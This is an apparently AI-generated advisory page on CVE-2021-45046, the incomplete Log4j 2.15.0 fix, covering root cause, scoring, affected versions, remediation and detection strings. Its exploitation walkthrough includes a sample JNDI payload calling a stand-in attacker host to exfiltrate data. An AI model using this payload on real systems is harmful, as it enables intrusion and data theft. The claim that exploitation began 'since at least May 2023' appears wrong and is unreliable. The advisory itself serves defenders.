CVE-2021-45046

CVE-2021-45046: Incomplete Log4j 2.15.0 Fix Enables JNDI Exploitation via Thread Context Map Patterns

AI-generated analysis based on the vulnerability data on this page.

Summary

CVE-2021-45046 addresses an incomplete remediation for the infamous Log4Shell vulnerability (CVE-2021-44228). Apache released Log4j 2.15.0 as an emergency patch, but it left certain non-default logging configurations exposed. When a logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC), an attacker who can control Thread Context Map (MDC) input data can inject a JNDI Lookup pattern. This leads to information leakage and, depending on the environment, remote code execution (RCE) or local code execution (LCE).

Background

The Log4j 2.x logging framework introduced the Lookups feature, which allows dynamic resolution of variables in log messages and layout patterns. One of these lookups is the JNDI (Java Naming and Directory Interface) Lookup, which can resolve objects from remote directories such as LDAP servers. The original Log4Shell vulnerability (CVE-2021-44228) demonstrated that attacker-controlled input reaching a log message could trigger arbitrary JNDI resolution, leading to full remote code execution.

Apache's initial response, Log4j 2.15.0, disabled message lookup patterns by default and restricted JNDI access to the java: protocol. However, the patch did not fully account for lookups embedded in Pattern Layout configurations themselves — specifically Context Lookups and Thread Context Map patterns — leaving a bypass vector in environments using these non-default layouts.

Root Cause (CWE-917)

The root cause falls under CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement. The logging framework evaluates lookup expressions within layout patterns at log-render time. When the layout contains a Context Lookup or MDC reference, and the attacker controls the value placed into the MDC, the framework concatenates or substitutes that attacker-controlled value into the lookup expression. If the value contains a JNDI URI (e.g., ${jndi:ldap://attacker.com/a}), the framework resolves it, because the 2.15.0 fix only removed message lookup resolution and did not disable JNDI entirely or sanitize MDC-derived lookups.

Impact

The CVSS v3.1 vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) scores this vulnerability at 9.0 (Critical). The metrics reveal:

• Attack Vector (AV): Network — The vulnerability can be exploited remotely.
• Attack Complexity (AC): High — Exploitation requires a non-default Pattern Layout configuration.
• Privileges Required (PR): None — No authentication is needed.
• User Interaction (UI): None — Fully automated exploitation is possible.
• Scope (S): Changed — The vulnerable component impacts resources beyond its own security scope.
• Confidentiality, Integrity, Availability (C/I/A): High — Successful exploitation can lead to complete system compromise.

The practical impact ranges from information disclosure (exfiltrating environment variables or internal paths via DNS/LDAP interaction) to remote code execution in JVM configurations where remote codebases are trusted, and local code execution in all environments where local JNDI providers (or indirect gadget chains) can be leveraged.

Exploitation Walkthrough (Defensive Perspective)

Ethics Notice: The following description is provided for defensive understanding only. Attempting to exploit systems without explicit authorization is illegal and unethical.

1. Reconnaissance: The attacker identifies an application that uses Log4j 2.x (versions prior to 2.16.0 for Java 8, or 2.12.2 for Java 7) and that logs attacker-influenced data.
2. Layout Detection: The attacker determines whether the logging configuration uses a Pattern Layout containing %X, %mdc, %MDC, or $${ctx:...} patterns. This is typically visible in logback/log4j2.xml configuration files or can be inferred from log output formatting.
3. MDC Injection: The attacker injects a crafted string into any request parameter, header, or field that the application places into the Thread Context Map. Example payload: ${jndi:ldap://attacker.com/exfil}.
4. Log Triggering: The attacker causes the application to log the injected value. The Pattern Layout resolves the MDC variable, the JNDI lookup fires, and the attacker's server receives a callback — confirming the vulnerability.
5. Post-Confirmation: In environments with weak JNDI mitigations, the attacker may be able to deliver a serialized payload via LDAP or RMI, leading to code execution.

Defenders should focus on the LDAP/DNS callback as the earliest detectable indicator of attempted exploitation.

Affected and Patched Versions

Affected

• Apache Log4j 2.x from 2.0-beta9 through 2.15.0 (in non-default configurations using Context Lookup or Thread Context Map patterns in Pattern Layout).
• Note: The default configuration (Pattern Layout without %X/%mdc/$${ctx:...}) is not vulnerable to this specific bypass.

Patched

• Apache Log4j 2.16.0 (Java 8+) — removes support for message lookup patterns and disables JNDI functionality by default.
• Apache Log4j 2.12.2 (Java 7) — backport with the same mitigations.

Affected Packages (OSV / Maven)

Remediation

1. Upgrade immediately: Move to Log4j 2.16.0+ (Java 8) or 2.12.2+ (Java 7). This is the only complete fix.
2. If upgrading is not immediately possible:
   • Remove all Context Lookups ($${ctx:...}) and Thread Context Map patterns (%X, %mdc, %MDC) from Pattern Layout configurations.
   • Set system property log4j2.formatMsgNoLookups=true (note: this alone does not fully mitigate CVE-2021-45046 if layout-based lookups are used).
   • Remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
3. Network-level compensating controls:
   • Block outbound LDAP (port 389), LDAPS (port 636), RMI (port 1099), and DNS (port 53) traffic from application servers where not explicitly required.
   • Use egress filtering and DNS monitoring to detect anomalous lookup requests.

Detection

• Log inspection: Search application and proxy logs for strings matching ${jndi:, ${env:, ${sys:, or ${ctx: in HTTP headers, request bodies, and query parameters.
• Network monitoring: Alert on unexpected outbound LDAP, RMI, or DNS queries originating from Java application servers.
• EDR / runtime: Monitor for Java processes spawning unexpected child processes or loading classes from remote URLs.
• File integrity: Monitor log4j2.xml, log4j2.properties, and similar configuration files for unauthorized modifications introducing %X, %mdc, or Context Lookups.

Assessment

With an EPSS score of 0.99977 and confirmed inclusion in both the CISA KEV catalog and the EU Exploited Vulnerabilities Database, CVE-2021-45046 is not a theoretical concern — it has been actively exploited in the wild since at least May 2023. The "Log4Shell" family of vulnerabilities (CVE-2021-44228, CVE-2021-45046, and subsequent related CVEs) represents one of the most widespread and consequential Java library vulnerabilities in history.

Key lessons:

1. Emergency patches need regression testing. The 2.15.0 release was rushed under extreme time pressure and introduced this bypass. Organizations that applied 2.15.0 believing they were fully protected were subsequently re-exposed.
2. Defense in depth matters. Even after upgrading Log4j, compensating controls such as outbound traffic filtering, JNDI disablement, and log sanitization provided critical protection during the patching window.

References

• Apache Log4j Security
• CISA Known Exploited Vulnerabilities Catalog — CVE-2021-45046
• NVD — CVE-2021-45046
• CERT/CC VU#930724
• Cisco Security Advisory
• Debian DSA-5022
• Oracle Security Alert — CVE-2021-44228
• Siemens SSA-397453